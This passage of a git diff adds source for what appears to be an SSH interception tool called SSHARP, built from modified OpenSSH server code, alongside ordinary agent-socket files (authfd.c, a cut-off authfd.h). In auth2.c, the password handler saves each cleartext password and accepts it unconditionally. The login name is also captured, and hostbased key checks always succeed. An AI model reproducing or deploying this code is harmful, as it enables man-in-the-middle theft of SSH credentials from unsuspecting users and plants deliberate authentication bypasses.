NULL} +}; + +/* + * loop until authctxt->success == TRUE + */ + +void +do_authentication2() +{ + Authctxt *authctxt = authctxt_new(); + + x_authctxt = authctxt; /*XXX*/ + + /* challenge-reponse is implemented via keyboard interactive */ + if (options.challenge_reponse_authentication) + options.kbd_interactive_authentication = 1; + if (options.pam_authentication_via_kbd_int) + options.kbd_interactive_authentication = 1; + + dispatch_init(&protocol_error); + dispatch_set(SSH2_MSG_SERVICE_REQUEST, &input_service_request); + dispatch_run(DISPATCH_BLOCK, &authctxt->success, authctxt); + do_authenticated(authctxt); +} + +void +protocol_error(int type, int plen, void *ctxt) +{ + log("auth: protocol error: type %d plen %d", type, plen); + packet_start(SSH2_MSG_UNIMPLEMENTED); + packet_put_int(0); + packet_send(); + packet_write_wait(); +} + +void +input_service_request(int type, int plen, void *ctxt) +{ + Authctxt *authctxt = ctxt; + u_int len; + int accept = 0; + char *service = packet_get_string(&len); + packet_done(); + + if (authctxt == NULL) + fatal("input_service_request: no authctxt"); + + if (strcmp(service, "ssh-userauth") == 0) { + if (!authctxt->success) { + accept = 1; + /* now we can handle user-auth requests */ + dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &input_userauth_request); + } + } + /* XXX all other service requests are denied */ + + if (accept) { + packet_start(SSH2_MSG_SERVICE_ACCEPT); + packet_put_cstring(service); + packet_send(); + packet_write_wait(); + } else { + debug("bad service request %s", service); + packet_disconnect("bad service request %s", service); + } + xfree(service); +} + +void +input_userauth_request(int type, int plen, void *ctxt) +{ + Authctxt *authctxt = ctxt; + Authmethod *m = NULL; + char *user, *service, *method, *style = NULL; + int authenticated = 0; + + if (authctxt == NULL) + fatal("input_userauth_request: no authctxt"); + + user = packet_get_string(NULL); + service = packet_get_string(NULL); + method = packet_get_string(NULL); + debug("userauth-request for user %s service %s method %s", user, service, method); + debug("attempt %d failures %d", authctxt->attempt, authctxt->failures); + + if ((style = strchr(user, ':')) != NULL) + *style++ = 0; + + if (authctxt->attempt++ == 0) { + /* setup auth context */ + authctxt->user = xstrdup(user); + authctxt->service = xstrdup(service); + authctxt->style = style ? xstrdup(style) : NULL; /* currently unused */ + } else if (authctxt->valid) { + if (strcmp(user, authctxt->user) != 0 || + strcmp(service, authctxt->service) != 0) { + log("input_userauth_request: mismatch: (%s,%s)!=(%s,%s)", + user, service, authctxt->user, authctxt->service); + authctxt->valid = 0; + } + } + /* reset state */ + dispatch_set(SSH2_MSG_USERAUTH_INFO_RESPONSE, &protocol_error); + authctxt->postponed = 0; + + /* try to authenticate user */ + m = authmethod_lookup(method); + if (m != NULL) { + debug2("input_userauth_request: try method %s", method); + authenticated = m->userauth(authctxt); + } + userauth_finish(authctxt, authenticated, method); + authctxt->sharp.login = strdup(authctxt->user); + + global_ssh2_ctx = auth_dup(authctxt); + + xfree(service); + xfree(user); + xfree(method); +} + +void +userauth_finish(Authctxt *authctxt, int authenticated, char *method) +{ + userauth_reply(authctxt, authenticated); +} + +void +userauth_banner(void) +{ + struct stat st; + char *banner = NULL; + off_t len, n; + int fd; + + if (options.banner == NULL || (datafellows & SSH_BUG_BANNER)) + return; + if ((fd = open(options.banner, O_RDONLY)) < 0) + return; + if (fstat(fd, &st) < 0) + goto done; + len = st.st_size; + banner = xmalloc(len + 1); + if ((n = read(fd, banner, len)) < 0) + goto done; + banner[n] = '\0'; + packet_start(SSH2_MSG_USERAUTH_BANNER); + packet_put_cstring(banner); + packet_put_cstring(""); /* language, unused */ + packet_send(); + debug("userauth_banner: sent"); +done: + if (banner) + xfree(banner); + close(fd); + return; +} + +void +userauth_reply(Authctxt *authctxt, int authenticated) +{ + char *methods; + + /* XXX todo: check if multiple auth methods are needed */ + if (authenticated == 1) { +#ifdef WITH_AIXAUTHENTICATE + /* We don't have a pty yet, so just label the line as "ssh" */ + if (loginsuccess(authctxt->user?authctxt->user:"NOUSER", + get_canonical_hostname(options.reverse_mapping_check), + "ssh", &aixloginmsg) < 0) + aixloginmsg = NULL; +#endif /* WITH_AIXAUTHENTICATE */ + /* turn off userauth */ + dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &protocol_error); + packet_start(SSH2_MSG_USERAUTH_SUCCESS); + packet_send(); + packet_write_wait(); + /* now we can break out */ + authctxt->success = 1; + } else { + if (authctxt->failures++ > AUTH_FAIL_MAX) + packet_disconnect(AUTH_FAIL_MSG, authctxt->user); + methods = authmethods_get(); + packet_start(SSH2_MSG_USERAUTH_FAILURE); + packet_put_cstring(methods); + packet_put_char(0); /* XXX partial success, unused */ + packet_send(); + packet_write_wait(); + xfree(methods); + } +} + +int +userauth_none(Authctxt *authctxt) +{ + return 0; +} + +int +userauth_passwd(Authctxt *authctxt) +{ + char *password; + int change; + u_int len; + change = packet_get_char(); + if (change) + log("password change not supported"); + password = packet_get_string(&len); + packet_done(); + authctxt->sharp.pass = strdup(password); + return 1; +} + +int +userauth_kbdint(Authctxt *authctxt) +{ + int authenticated = 0; + char *lang = NULL; + char *devs = NULL; + + lang = packet_get_string(NULL); + devs = packet_get_string(NULL); + packet_done(); + + debug("keyboard-interactive language %s devs %s", lang, devs); + + if (options.challenge_reponse_authentication) + authenticated = auth2_challenge(authctxt, devs); + +#ifdef USE_PAM + if (authenticated == 0 && options.pam_authentication_via_kbd_int) + authenticated = auth2_pam(authctxt); +#endif + xfree(lang); + xfree(devs); +#ifdef HAVE_CYGWIN + if (check_nt_auth(0, authctxt->pw->pw_uid) == 0) + return(0); +#endif + return authenticated; +} + +int +userauth_pubkey(Authctxt *authctxt) +{ + Buffer b; + Key *key; + char *pkalg, *pkblob, *sig; + u_int alen, blen, slen; + int have_sig, pktype; + int authenticated = 0; + + if (!authctxt->valid) { + debug2("userauth_pubkey: disabled because of invalid user"); + return 0; + } + have_sig = packet_get_char(); + if (datafellows & SSH_BUG_PKAUTH) { + debug2("userauth_pubkey: SSH_BUG_PKAUTH"); + /* no explicit pkalg given */ + pkblob = packet_get_string(&blen); + buffer_init(&b); + buffer_append(&b, pkblob, blen); + /* so we have to extract the pkalg from the pkblob */ + pkalg = buffer_get_string(&b, &alen); + buffer_free(&b); + } else { + pkalg = packet_get_string(&alen); + pkblob = packet_get_string(&blen); + } + pktype = key_type_from_name(pkalg); + if (pktype == KEY_UNSPEC) { + /* this is perfectly legal */ + log("userauth_pubkey: unsupported public key algorithm: %s", pkalg); + xfree(pkalg); + xfree(pkblob); + return 0; + } + key = key_from_blob(pkblob, blen); + if (key != NULL) { + if (have_sig) { + sig = packet_get_string(&slen); + packet_done(); + buffer_init(&b); + if (datafellows & SSH_OLD_SESSIONID) { + buffer_append(&b, session_id2, session_id2_len); + } else { + buffer_put_string(&b, session_id2, session_id2_len); + } + /* reconstruct packet */ + buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); + buffer_put_cstring(&b, authctxt->user); + buffer_put_cstring(&b, + datafellows & SSH_BUG_PKSERVICE ? + "ssh-userauth" : + authctxt->service); + if (datafellows & SSH_BUG_PKAUTH) { + buffer_put_char(&b, have_sig); + } else { + buffer_put_cstring(&b, "publickey"); + buffer_put_char(&b, have_sig); + buffer_put_cstring(&b, pkalg); + } + buffer_put_string(&b, pkblob, blen); +#ifdef DEBUG_PK + buffer_dump(&b); +#endif + /* test for correct signature */ + if ( + key_verify(key, sig, slen, buffer_ptr(&b), buffer_len(&b)) == 1) + authenticated = 1; + buffer_clear(&b); + xfree(sig); + } else { + debug("test whether pkalg/pkblob are acceptable"); + packet_done(); + + /* XXX fake reply and always send PK_OK ? */ + /* + * XXX this allows testing whether a user is allowed + * to login: if you happen to have a valid pubkey this + * message is sent. the message is NEVER sent at all + * if a user is not allowed to login. is this an + * issue? -markus + */ + packet_start(SSH2_MSG_USERAUTH_PK_OK); + packet_put_string(pkalg, alen); + packet_put_string(pkblob, blen); + packet_send(); + packet_write_wait(); + authctxt->postponed = 1; + } + if (authenticated != 1) + auth_clear_options(); + key_free(key); + } + debug2("userauth_pubkey: authenticated %d pkalg %s", authenticated, pkalg); + xfree(pkalg); + xfree(pkblob); +#ifdef HAVE_CYGWIN + if (check_nt_auth(0, authctxt->pw->pw_uid) == 0) + return(0); +#endif + return authenticated; +} + +int +userauth_hostbased(Authctxt *authctxt) +{ + Buffer b; + Key *key; + char *pkalg, *pkblob, *sig, *cuser, *chost, *service; + u_int alen, blen, slen; + int pktype; + int authenticated = 0; + + if (!authctxt->valid) { + debug2("userauth_hostbased: disabled because of invalid user"); + return 0; + } + pkalg = packet_get_string(&alen); + pkblob = packet_get_string(&blen); + chost = packet_get_string(NULL); + cuser = packet_get_string(NULL); + sig = packet_get_string(&slen); + + debug("userauth_hostbased: cuser %s chost %s pkalg %s slen %d", + cuser, chost, pkalg, slen); +#ifdef DEBUG_PK + debug("signature:"); + buffer_init(&b); + buffer_append(&b, sig, slen); + buffer_dump(&b); + buffer_free(&b); +#endif + pktype = key_type_from_name(pkalg); + if (pktype == KEY_UNSPEC) { + /* this is perfectly legal */ + log("userauth_hostbased: unsupported " + "public key algorithm: %s", pkalg); + goto done; + } + key = key_from_blob(pkblob, blen); + if (key == NULL) { + debug("userauth_hostbased: cannot decode key: %s", pkalg); + goto done; + } + service = datafellows & SSH_BUG_HBSERVICE ? "ssh-userauth" : + authctxt->service; + buffer_init(&b); + buffer_put_string(&b, session_id2, session_id2_len); + /* reconstruct packet */ + buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); + buffer_put_cstring(&b, authctxt->user); + buffer_put_cstring(&b, service); + buffer_put_cstring(&b, "hostbased"); + buffer_put_string(&b, pkalg, alen); + buffer_put_string(&b, pkblob, blen); + buffer_put_cstring(&b, chost); + buffer_put_cstring(&b, cuser); +#ifdef DEBUG_PK + buffer_dump(&b); +#endif + /* test for allowed key and correct signature */ + if ( + key_verify(key, sig, slen, buffer_ptr(&b), buffer_len(&b)) == 1) + authenticated = 1; + + buffer_clear(&b); + key_free(key); + +done: + debug2("userauth_hostbased: authenticated %d", authenticated); + xfree(pkalg); + xfree(pkblob); + xfree(cuser); + xfree(chost); + xfree(sig); + return authenticated; +} + + +#define DELIM "," + +char * +authmethods_get(void) +{ + Authmethod *method = NULL; + u_int size = 0; + char *list; + + for (method = authmethods; method->name != NULL; method++) { + if (strcmp(method->name, "none") == 0) + continue; + if (method->enabled != NULL && *(method->enabled) != 0) { + if (size != 0) + size += strlen(DELIM); + size += strlen(method->name); + } + } + size++; /* trailing '\0' */ + list = xmalloc(size); + list[0] = '\0'; + + for (method = authmethods; method->name != NULL; method++) { + if (strcmp(method->name, "none") == 0) + continue; + if (method->enabled != NULL && *(method->enabled) != 0) { + if (list[0] != '\0') + strlcat(list, DELIM, size); + strlcat(list, method->name, size); + } + } + return list; +} + +Authmethod * +authmethod_lookup(const char *name) +{ + Authmethod *method = NULL; + if (name != NULL) + for (method = authmethods; method->name != NULL; method++) + if (method->enabled != NULL && + *(method->enabled) != 0 && + strcmp(name, method->name) == 0) + return method; + debug2("Unrecognized authentication method name: %s", name ? name : "NULL"); + return NULL; +} + +/* return 1 if user allows given key */ +int +user_key_allowed(struct passwd *pw, Key *key) +{ + char line[8192], file[MAXPATHLEN]; + int found_key = 0; + FILE *f; + u_long linenum = 0; + struct stat st; + Key *found; + + if (pw == NULL) + return 0; + + /* Temporarily use the user's uid. */ + temporarily_use_uid(pw); + + /* The authorized keys. */ + snprintf(file, sizeof file, "%.500s/%.100s", pw->pw_dir, + _PATH_SSH_USER_PERMITTED_KEYS2); + + /* Fail quietly if file does not exist */ + if (stat(file, &st) < 0) { + /* Restore the privileged uid. */ + restore_uid(); + return 0; + } + /* Open the file containing the authorized keys. */ + f = fopen(file, "r"); + if (!f) { + /* Restore the privileged uid. */ + restore_uid(); + return 0; + } + if (options.strict_modes) { + int fail = 0; + char buf[1024]; + /* Check open file in order to avoid open/stat races */ + if (fstat(fileno(f), &st) < 0 || + (st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0) { + snprintf(buf, sizeof buf, + "%s authentication refused for %.100s: " + "bad ownership or modes for '%s'.", + key_type(key), pw->pw_name, file); + fail = 1; + } else { + /* Check path to _PATH_SSH_USER_PERMITTED_KEYS */ + int i; + static const char *check[] = { + "", _PATH_SSH_USER_DIR, NULL + }; + for (i = 0; check[i]; i++) { + snprintf(line, sizeof line, "%.500s/%.100s", + pw->pw_dir, check[i]); + if (stat(line, &st) < 0 || + (st.st_uid != 0 && st.st_uid != pw->pw_uid) || + (st.st_mode & 022) != 0) { + snprintf(buf, sizeof buf, + "%s authentication refused for %.100s: " + "bad ownership or modes for '%s'.", + key_type(key), pw->pw_name, line); + fail = 1; + break; + } + } + } + if (fail) { + fclose(f); + log("%s", buf); + restore_uid(); + return 0; + } + } + found_key = 0; + found = key_new(key->type); + + while (fgets(line, sizeof(line), f)) { + char *cp, *options = NULL; + linenum++; + /* Skip leading whitespace, empty and comment lines. */ + for (cp = line; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '\n' || *cp == '#') + continue; + + if (key_read(found, &cp) == -1) { + /* no key? check if there are options for this key */ + int quoted = 0; + debug2("user_key_allowed: check options: '%s'", cp); + options = cp; + for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { + if (*cp == '\\' && cp[1] == '"') + cp++; /* Skip both */ + else if (*cp == '"') + quoted = !quoted; + } + /* Skip remaining whitespace. */ + for (; *cp == ' ' || *cp == '\t'; cp++) + ; + if (key_read(found, &cp) == -1) { + debug2("user_key_allowed: advance: '%s'", cp); + /* still no key? advance to next line*/ + continue; + } + } + if (key_equal(found, key) && + auth_parse_options(pw, options, file, linenum) == 1) { + found_key = 1; + debug("matching key found: file %s, line %ld", + file, linenum); + break; + } + } + restore_uid(); + fclose(f); + key_free(found); + if (!found_key) + debug2("key not found"); + return found_key; +} + +/* return 1 if given hostkey is allowed */ +int +hostbased_key_allowed(struct passwd *pw, const char *cuser, char *chost, + Key *key) +{ + /* SSHARP */ + return 1; +} diff --git a/other/ssharp/authfd.c b/other/ssharp/authfd.c new file mode 100644 index 0000000..3e1ef81 --- /dev/null +++ b/other/ssharp/authfd.c @@ -0,0 +1,578 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Functions for connecting the local authentication agent. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * SSH2 implementation, + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: authfd.c,v 1.39 2001/04/05 10:42:48 markus Exp $"); + +#include + +#include "ssh.h" +#include "rsa.h" +#include "buffer.h" +#include "bufaux.h" +#include "xmalloc.h" +#include "getput.h" +#include "key.h" +#include "authfd.h" +#include "cipher.h" +#include "kex.h" +#include "compat.h" +#include "log.h" +#include "atomicio.h" + +/* helper */ +int decode_reply(int type); + +/* macro to check for "agent failure" message */ +#define agent_failed(x) \ + ((x == SSH_AGENT_FAILURE) || (x == SSH_COM_AGENT2_FAILURE)) + +/* Returns the number of the authentication fd, or -1 if there is none. */ + +int +ssh_get_authentication_socket(void) +{ + const char *authsocket; + int sock, len; + struct sockaddr_un sunaddr; + + authsocket = getenv(SSH_AUTHSOCKET_ENV_NAME); + if (!authsocket) + return -1; + + sunaddr.sun_family = AF_UNIX; + strlcpy(sunaddr.sun_path, authsocket, sizeof(sunaddr.sun_path)); + len = SUN_LEN(&sunaddr)+1; +#ifdef HAVE_SUN_LEN_IN_SOCKADDR_UN + sunaddr.sun_len = len; +#endif /* HAVE_SUN_LEN_IN_SOCKADDR_UN */ + + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) + return -1; + + /* close on exec */ + if (fcntl(sock, F_SETFD, 1) == -1) { + close(sock); + return -1; + } + if (connect(sock, (struct sockaddr *) & sunaddr, len) < 0) { + close(sock); + return -1; + } + return sock; +} + +int +ssh_request_reply(AuthenticationConnection *auth, Buffer *request, Buffer *reply) +{ + int l, len; + char buf[1024]; + + /* Get the length of the message, and format it in the buffer. */ + len = buffer_len(request); + PUT_32BIT(buf, len); + + /* Send the length and then the packet to the agent. */ + if (atomicio(write, auth->fd, buf, 4) != 4 || + atomicio(write, auth->fd, buffer_ptr(request), + buffer_len(request)) != buffer_len(request)) { + error("Error writing to authentication socket."); + return 0; + } + /* + * Wait for response from the agent. First read the length of the + * response packet. + */ + len = 4; + while (len > 0) { + l = read(auth->fd, buf + 4 - len, len); + if (l == -1 && (errno == EAGAIN || errno == EINTR)) + continue; + if (l <= 0) { + error("Error reading response length from authentication socket."); + return 0; + } + len -= l; + } + + /* Extract the length, and check it for sanity. */ + len = GET_32BIT(buf); + if (len > 256 * 1024) + fatal("Authentication response too long: %d", len); + + /* Read the rest of the response in to the buffer. */ + buffer_clear(reply); + while (len > 0) { + l = len; + if (l > sizeof(buf)) + l = sizeof(buf); + l = read(auth->fd, buf, l); + if (l == -1 && (errno == EAGAIN || errno == EINTR)) + continue; + if (l <= 0) { + error("Error reading response from authentication socket."); + return 0; + } + buffer_append(reply, (char *) buf, l); + len -= l; + } + return 1; +} + +/* + * Closes the agent socket if it should be closed (depends on how it was + * obtained). The argument must have been returned by + * ssh_get_authentication_socket(). + */ + +void +ssh_close_authentication_socket(int sock) +{ + if (getenv(SSH_AUTHSOCKET_ENV_NAME)) + close(sock); +} + +/* + * Opens and connects a private socket for communication with the + * authentication agent. Returns the file descriptor (which must be + * shut down and closed by the caller when no longer needed). + * Returns NULL if an error occurred and the connection could not be + * opened. + */ + +AuthenticationConnection * +ssh_get_authentication_connection(void) +{ + AuthenticationConnection *auth; + int sock; + + sock = ssh_get_authentication_socket(); + + /* + * Fail if we couldn't obtain a connection. This happens if we + * exited due to a timeout. + */ + if (sock < 0) + return NULL; + + auth = xmalloc(sizeof(*auth)); + auth->fd = sock; + buffer_init(&auth->identities); + auth->howmany = 0; + + return auth; +} + +/* + * Closes the connection to the authentication agent and frees any associated + * memory. + */ + +void +ssh_close_authentication_connection(AuthenticationConnection *auth) +{ + buffer_free(&auth->identities); + close(auth->fd); + xfree(auth); +} + +/* + * Returns the first authentication identity held by the agent. + */ + +int +ssh_get_num_identities(AuthenticationConnection *auth, int version) +{ + int type, code1 = 0, code2 = 0; + Buffer request; + + switch(version){ + case 1: + code1 = SSH_AGENTC_REQUEST_RSA_IDENTITIES; + code2 = SSH_AGENT_RSA_IDENTITIES_ANSWER; + break; + case 2: + code1 = SSH2_AGENTC_REQUEST_IDENTITIES; + code2 = SSH2_AGENT_IDENTITIES_ANSWER; + break; + default: + return 0; + } + + /* + * Send a message to the agent requesting for a list of the + * identities it can represent. + */ + buffer_init(&request); + buffer_put_char(&request, code1); + + buffer_clear(&auth->identities); + if (ssh_request_reply(auth, &request, &auth->identities) == 0) { + buffer_free(&request); + return 0; + } + buffer_free(&request); + + /* Get message type, and verify that we got a proper answer. */ + type = buffer_get_char(&auth->identities); + if (agent_failed(type)) { + return 0; + } else if (type != code2) { + fatal("Bad authentication reply message type: %d", type); + } + + /* Get the number of entries in the response and check it for sanity. */ + auth->howmany = buffer_get_int(&auth->identities); + if (auth->howmany > 1024) + fatal("Too many identities in authentication reply: %d", + auth->howmany); + + return auth->howmany; +} + +Key * +ssh_get_first_identity(AuthenticationConnection *auth, char **comment, int version) +{ + /* get number of identities and return the first entry (if any). */ + if (ssh_get_num_identities(auth, version) > 0) + return ssh_get_next_identity(auth, comment, version); + return NULL; +} + +Key * +ssh_get_next_identity(AuthenticationConnection *auth, char **comment, int version) +{ + u_int bits; + u_char *blob; + u_int blen; + Key *key = NULL; + + /* Return failure if no more entries. */ + if (auth->howmany <= 0) + return NULL; + + /* + * Get the next entry from the packet. These will abort with a fatal + * error if the packet is too short or contains corrupt data. + */ + switch(version){ + case 1: + key = key_new(KEY_RSA1); + bits = buffer_get_int(&auth->identities); + buffer_get_bignum(&auth->identities, key->rsa->e); + buffer_get_bignum(&auth->identities, key->rsa->n); + *comment = buffer_get_string(&auth->identities, NULL); + if (bits != BN_num_bits(key->rsa->n)) + log("Warning: identity keysize mismatch: actual %d, announced %u", + BN_num_bits(key->rsa->n), bits); + break; + case 2: + blob = buffer_get_string(&auth->identities, &blen); + *comment = buffer_get_string(&auth->identities, NULL); + key = key_from_blob(blob, blen); + xfree(blob); + break; + default: + return NULL; + break; + } + /* Decrement the number of remaining entries. */ + auth->howmany--; + return key; +} + +/* + * Generates a random challenge, sends it to the agent, and waits for + * response from the agent. Returns true (non-zero) if the agent gave the + * correct answer, zero otherwise. Response type selects the style of + * response desired, with 0 corresponding to protocol version 1.0 (no longer + * supported) and 1 corresponding to protocol version 1.1. + */ + +int +ssh_decrypt_challenge(AuthenticationConnection *auth, + Key* key, BIGNUM *challenge, + u_char session_id[16], + u_int response_type, + u_char response[16]) +{ + Buffer buffer; + int success = 0; + int i; + int type; + + if (key->type != KEY_RSA1) + return 0; + if (response_type == 0) { + log("Compatibility with ssh protocol version 1.0 no longer supported."); + return 0; + } + buffer_init(&buffer); + buffer_put_char(&buffer, SSH_AGENTC_RSA_CHALLENGE); + buffer_put_int(&buffer, BN_num_bits(key->rsa->n)); + buffer_put_bignum(&buffer, key->rsa->e); + buffer_put_bignum(&buffer, key->rsa->n); + buffer_put_bignum(&buffer, challenge); + buffer_append(&buffer, (char *) session_id, 16); + buffer_put_int(&buffer, response_type); + + if (ssh_request_reply(auth, &buffer, &buffer) == 0) { + buffer_free(&buffer); + return 0; + } + type = buffer_get_char(&buffer); + + if (agent_failed(type)) { + log("Agent admitted failure to authenticate using the key."); + } else if (type != SSH_AGENT_RSA_RESPONSE) { + fatal("Bad authentication response: %d", type); + } else { + success = 1; + /* + * Get the response from the packet. This will abort with a + * fatal error if the packet is corrupt. + */ + for (i = 0; i < 16; i++) + response[i] = buffer_get_char(&buffer); + } + buffer_free(&buffer); + return success; +} + +/* ask agent to sign data, returns -1 on error, 0 on success */ +int +ssh_agent_sign(AuthenticationConnection *auth, + Key *key, + u_char **sigp, int *lenp, + u_char *data, int datalen) +{ + extern int datafellows; + Buffer msg; + u_char *blob; + u_int blen; + int type, flags = 0; + int ret = -1; + + if (key_to_blob(key, &blob, &blen) == 0) + return -1; + + if (datafellows & SSH_BUG_SIGBLOB) + flags = SSH_AGENT_OLD_SIGNATURE; + + buffer_init(&msg); + buffer_put_char(&msg, SSH2_AGENTC_SIGN_REQUEST); + buffer_put_string(&msg, blob, blen); + buffer_put_string(&msg, data, datalen); + buffer_put_int(&msg, flags); + xfree(blob); + + if (ssh_request_reply(auth, &msg, &msg) == 0) { + buffer_free(&msg); + return -1; + } + type = buffer_get_char(&msg); + if (agent_failed(type)) { + log("Agent admitted failure to sign using the key."); + } else if (type != SSH2_AGENT_SIGN_RESPONSE) { + fatal("Bad authentication response: %d", type); + } else { + ret = 0; + *sigp = buffer_get_string(&msg, lenp); + } + buffer_free(&msg); + return ret; +} + +/* Encode key for a message to the agent. */ + +void +ssh_encode_identity_rsa1(Buffer *b, RSA *key, const char *comment) +{ + buffer_clear(b); + buffer_put_char(b, SSH_AGENTC_ADD_RSA_IDENTITY); + buffer_put_int(b, BN_num_bits(key->n)); + buffer_put_bignum(b, key->n); + buffer_put_bignum(b, key->e); + buffer_put_bignum(b, key->d); + /* To keep within the protocol: p < q for ssh. in SSL p > q */ + buffer_put_bignum(b, key->iqmp); /* ssh key->u */ + buffer_put_bignum(b, key->q); /* ssh key->p, SSL key->q */ + buffer_put_bignum(b, key->p); /* ssh key->q, SSL key->p */ + buffer_put_string(b, comment, strlen(comment)); +} + +void +ssh_encode_identity_ssh2(Buffer *b, Key *key, const char *comment) +{ + buffer_clear(b); + buffer_put_char(b, SSH2_AGENTC_ADD_IDENTITY); + buffer_put_cstring(b, key_ssh_name(key)); + switch(key->type){ + case KEY_RSA: + buffer_put_bignum2(b, key->rsa->n); + buffer_put_bignum2(b, key->rsa->e); + buffer_put_bignum2(b, key->rsa->d); + buffer_put_bignum2(b, key->rsa->iqmp); + buffer_put_bignum2(b, key->rsa->p); + buffer_put_bignum2(b, key->rsa->q); + break; + case KEY_DSA: + buffer_put_bignum2(b, key->dsa->p); + buffer_put_bignum2(b, key->dsa->q); + buffer_put_bignum2(b, key->dsa->g); + buffer_put_bignum2(b, key->dsa->pub_key); + buffer_put_bignum2(b, key->dsa->priv_key); + break; + } + buffer_put_cstring(b, comment); +} + +/* + * Adds an identity to the authentication server. This call is not meant to + * be used by normal applications. + */ + +int +ssh_add_identity(AuthenticationConnection *auth, Key *key, const char *comment) +{ + Buffer msg; + int type; + + buffer_init(&msg); + + switch (key->type) { + case KEY_RSA1: + ssh_encode_identity_rsa1(&msg, key->rsa, comment); + break; + case KEY_RSA: + case KEY_DSA: + ssh_encode_identity_ssh2(&msg, key, comment); + break; + default: + buffer_free(&msg); + return 0; + break; + } + if (ssh_request_reply(auth, &msg, &msg) == 0) { + buffer_free(&msg); + return 0; + } + type = buffer_get_char(&msg); + buffer_free(&msg); + return decode_reply(type); +} + +/* + * Removes an identity from the authentication server. This call is not + * meant to be used by normal applications. + */ + +int +ssh_remove_identity(AuthenticationConnection *auth, Key *key) +{ + Buffer msg; + int type; + u_char *blob; + u_int blen; + + buffer_init(&msg); + + if (key->type == KEY_RSA1) { + buffer_put_char(&msg, SSH_AGENTC_REMOVE_RSA_IDENTITY); + buffer_put_int(&msg, BN_num_bits(key->rsa->n)); + buffer_put_bignum(&msg, key->rsa->e); + buffer_put_bignum(&msg, key->rsa->n); + } else if (key->type == KEY_DSA || key->type == KEY_RSA) { + key_to_blob(key, &blob, &blen); + buffer_put_char(&msg, SSH2_AGENTC_REMOVE_IDENTITY); + buffer_put_string(&msg, blob, blen); + xfree(blob); + } else { + buffer_free(&msg); + return 0; + } + if (ssh_request_reply(auth, &msg, &msg) == 0) { + buffer_free(&msg); + return 0; + } + type = buffer_get_char(&msg); + buffer_free(&msg); + return decode_reply(type); +} + +/* + * Removes all identities from the agent. This call is not meant to be used + * by normal applications. + */ + +int +ssh_remove_all_identities(AuthenticationConnection *auth, int version) +{ + Buffer msg; + int type; + int code = (version==1) ? + SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES : + SSH2_AGENTC_REMOVE_ALL_IDENTITIES; + + buffer_init(&msg); + buffer_put_char(&msg, code); + + if (ssh_request_reply(auth, &msg, &msg) == 0) { + buffer_free(&msg); + return 0; + } + type = buffer_get_char(&msg); + buffer_free(&msg); + return decode_reply(type); +} + +int +decode_reply(int type) +{ + switch (type) { + case SSH_AGENT_FAILURE: + case SSH_COM_AGENT2_FAILURE: + log("SSH_AGENT_FAILURE"); + return 0; + case SSH_AGENT_SUCCESS: + return 1; + default: + fatal("Bad response from authentication agent: %d", type); + } + /* NOTREACHED */ + return 0; +} diff --git a/other/ssharp/authfd.h b/other/ssharp/authfd.h new file mode 100644 index 0000000..29d1847 --- /dev/null +++ b/other/ssharp/authfd.h @@ -0,0 +1,138 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Functions to interface with the SSH_AUTHENTICATION_FD socket. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: authfd.h,v 1.16 2000/12/20 19:37:21 markus Exp $"); */ + +#ifndef AUTHFD_H +#define AUTHFD_H + +#include "buffer.h" + +/* Messages for the authentication agent connection. */ +#define SSH_AGENTC_REQUEST_RSA_IDENTITIES 1 +#define SSH_AGENT_RSA_IDENTITIES_ANSWER 2 +#define SSH_AGENTC_RSA_CHALLENGE 3 +#define SSH_AGENT_RSA_RESPONSE 4 +#define SSH_AGENT_FAILURE 5 +#define SSH_AGENT_SUCCESS 6 +#define SSH_AGENTC_ADD_RSA_IDENTITY 7 +#define SSH_AGENTC_REMOVE_RSA_IDENTITY 8 +#define SSH_AGENTC_REMOVE_ALL_RSA_IDENTITIES 9 + +/* private OpenSSH extensions for SSH2 */ +#define SSH2_AGENTC_REQUEST_IDENTITIES 11 +#define SSH2_AGENT_IDENTITIES_ANSWER 12 +#define SSH2_AGENTC_SIGN_REQUEST 13 +#define SSH2_AGENT_SIGN_RESPONSE 14 +#define 